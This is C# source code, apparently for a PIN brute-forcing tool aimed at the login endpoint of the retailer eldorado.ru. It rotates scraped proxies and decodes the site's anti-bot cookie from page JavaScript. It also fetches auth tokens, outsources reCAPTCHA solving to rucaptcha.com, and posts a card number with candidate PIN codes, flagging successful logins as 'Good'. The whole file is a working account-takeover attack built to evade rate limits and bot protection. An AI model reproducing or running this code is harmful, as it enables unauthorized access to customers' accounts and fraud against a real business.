public static string Post(ReqCharacters characters, PostCharacters postCharacters) { string result = ""; try { HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy); danni.AddHeader("Accept", "application/json, text/plain, */*"); danni.AddHeader("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7"); danni.AddHeader("Referer", "https://www.eldorado.ru/"); danni.AddHeader("Authorization", "Bearer " + postCharacters.token); string json = "{\"user_login\":\"" + postCharacters.card + "\",\"user_password\":\"" + postCharacters.code + "\",\"g-recaptcha-response\":\"" + postCharacters.captcha + "\"}"; string response = danni.Post("https://www.eldorado.ru/_ajax/spa/auth/authentication.php", json, "application/json;charset=UTF-8").ToString(); if (response.Contains("user")) { result = "Good"; } } catch { result = "Error"; } return(result); }
public static string GetCookie(ReqCharacters characters) { var doc = new HtmlDocument(); var html = Request.Get(characters, "https://www.eldorado.ru"); doc.LoadHtml(html); var node = doc.DocumentNode.Descendants("script").FirstOrDefault(x => x.InnerHtml.Contains("var cE = ") && x.InnerHtml.Contains("var cK = ")); if (node == null) { return(null); } string jScript = node.InnerHtml; var cERegex = new Regex("(?<=var cE = \").*(?=\";)"); var cKRegex = new Regex("(?<=var cK = ).*(?=;)"); string cE = cERegex.Match(jScript).Value; int cK = int.Parse(cKRegex.Match(jScript).Value); string cookie = EncodeCookie(cK, cE); return(cookie); }
public static string GetAnswer(string idKey) { Thread.Sleep(60000); HttpRequest danni = ReqCharacters.Req(); string response = danni.Get("http://rucaptcha.com/res.php?key=" + key + "&action=get&id=" + idKey).ToString(); if (response.Contains("OK")) { response = response.Replace("OK|", ""); } return(response); }
public static string Get(ReqCharacters characters, string url) { string result; try { HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy); danni.IgnoreProtocolErrors = false; danni.Proxy.ConnectTimeout = 3000; string response = danni.Get(url).ToString(); result = response; } catch { result = "Bad"; } return(result); }
public static string GetToken(ReqCharacters characters) { string token; try { HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy); string response = danni.Get("https://www.eldorado.ru/_ajax/spa/auth/getToken.php").ToString(); dynamic json = JObject.Parse(response); token = json.token; } catch { token = ""; } return(token); }
public static List <string> GetProxy() { HttpRequest danni = ReqCharacters.Req(); string response = danni.Get("URL").ToString(); List <string> proxyList = new List <string>(); var proxy = JsonConvert.DeserializeObject <Dictionary <string, ResponseIP> >(response); int countProxy = proxy.Count - 1; for (int i = 2; i < countProxy; i++) { proxyList.Add(proxy[$"{i}"].ip + ":" + proxy[$"{i}"].port); } return(proxyList); }
public static string GetID(string sitekey) { HttpRequest danni = ReqCharacters.Req(); string url = "https://www.eldorado.ru/"; string response = danni.Get("http://rucaptcha.com/in.php?key=" + key + "&method=userrecaptcha&googlekey=" + sitekey + "&pageurl=" + url).ToString(); string result; if (response.Contains("OK")) { response = response.Replace("OK|", ""); result = response; } else { result = "error"; } return(result); }
private static void CheckProxy() { int countProxy = _proxy.Count - 1;//Кол-во спарсенных проксей for (int i = 0; i < countProxy; i++) { string response = ""; string proxy = ""; lock (_consoleLocker) { try { _scoreProxy++; proxy = _proxy[_scoreProxy]; } catch (ArgumentOutOfRangeException ex) { StopThreads("proxy"); } } try { var cookies = new CookieDictionary(); var characters = new ReqCharacters() { cookies = cookies, proxy = proxy }; response = Request.Get(characters, "https://www.google.com/"); } catch { response = "Bad"; } if (response != "Bad") { _goodProxy.Add(proxy); } } }
private static void CheckPinCode(string pinCode) { int checkCountProxy = 0; string proxy = ""; string response = ""; lock (_consoleLocker) { _scoreProxy++; proxy = _goodProxy[_scoreProxy]; } try { if (checkCountProxy == 30) { if (File.ReadAllLines("goodProxy.txt").Count() < 50) { StopThreads("small proxy"); } } CookieDictionary cookies = new CookieDictionary(); ReqCharacters characters = new ReqCharacters { cookies = cookies, proxy = proxy }; string swpTokenCookie = JSecurity.GetCookie(characters); if (swpTokenCookie != null) { characters.cookies.Add("swp_token", swpTokenCookie); } response = Request.Get(characters, "https://www.eldorado.ru"); if (response.Contains("Bad")) // Проверка на валид прокси { throw new Exception("Bad proxy"); } string token = Request.GetToken(characters); if (token == "") //Заметил баг, что иногда возвращает ноль { throw new Exception("token is null"); } string captcha = Regex.Match(response, "\"key\":\"(.*?)\",").Groups[1].Value; string id = Captcha.GetID(captcha); string answer; while (true) { answer = Captcha.GetAnswer(id); if (!answer.Contains("CAPCHA_NOT_READY")) { break; } } PostCharacters postCharacters = new PostCharacters { cookies = cookies, proxy = proxy, token = token, card = card, code = pinCode, captcha = answer }; response = Request.Post(characters, postCharacters); if (response.Contains("Blocked")) { throw new Exception("Block"); } DataResult(response, pinCode, proxy); } catch (Exception ex) { if (ex.Message == "Bad proxy") { DataResult("Error", pinCode, proxy); CheckPinCode(pinCode); } else if (ex.Message == "Token is null") { Console.WriteLine("Не удалось получить токен"); CheckPinCode(pinCode); } else if (ex.Message == "Block") { CheckPinCode(pinCode); } } }